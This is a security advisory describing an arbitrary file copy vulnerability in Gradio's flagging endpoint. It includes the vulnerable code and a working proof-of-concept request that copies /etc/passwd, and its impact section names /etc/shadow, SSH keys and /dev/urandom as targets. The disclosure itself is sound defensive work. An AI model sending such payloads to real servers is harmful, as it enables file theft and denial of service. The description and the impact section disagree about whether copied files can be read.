Description
An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.
The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradio_api/run/predict endpoint to trigger these file copies.
Source - Sink Analysis
Source: User-controlled path
parameter in the flagging functionality JSON payload
Sink: shutil.copy
operation in FileData._copy_to_dir()
method
The vulnerable code flow:
- A JSON payload is sent to the
/gradio_api/run/predict
endpoint - The
path
field withinFileData
object can reference any file on the system - When processing this request, the
Component.flag()
method creates aGradioDataModel
object - The
FileData._copy_to_dir()
method uses this path without proper validation:
def _copy_to_dir(self, dir: str) -> FileData:
pathlib.Path(dir).mkdir(exist_ok=True)
new_obj = dict(self)
if not self.path:
raise ValueError("Source file path is not set")
new_name = shutil.copy(self.path, dir) # vulnerable sink
new_obj["path"] = new_name
return self.__class__(**new_obj)
- The lack of validation allows copying any file the Gradio process can read
Proof of Concept
The following script demonstrates the vulnerability by copying /etc/passwd
from the server to Gradio's flagged directory:
Setup a Gradio app:
import gradio as gr
def image_classifier(inp):
return {'cat': 0.2, 'dog': 0.8}
test = gr.Interface(fn=image_classifier, inputs="image", outputs="label")
test.launch(share=True)
Run the PoC:
import requests
url = "https://[your-gradio-app-url]/gradio_api/run/predict"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
}
payload = {
"data": [
{
"path": "/etc/passwd",
"url": "[your-gradio-app-url]",
"orig_name": "network_config",
"size": 5000,
"mime_type": "text/plain",
"meta": {
"_type": "gradio.FileData"
}
},
{}
],
"event_data": None,
"fn_index": 4,
"trigger_id": 11,
"session_hash": "test123"
}
response = requests.post(url, headers=headers, json=payload)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")
Impact
The vulnerability has severe security implications:
- Attackers can access sensitive system files (
/etc/passwd
,/etc/shadow
, etc.), configuration files containing credentials and API keys, database connection strings, and private SSH keys. - Internal application details, proprietary code, and business logic can be exposed, leading to intellectual property theft.
- Information gathered through this could facilitate further attacks by revealing user accounts, configuration details, and security implementations.
- Attackers can exploit this vulnerability to target large system files (e.g.,
/dev/zero
or/dev/urandom
) or critical system files, potentially causing the application to crash or become unresponsive due to resource exhaustion. - If the application processes or stores sensitive user information, this vulnerability could lead to unauthorized access to this data, potentially violating data protection requirements.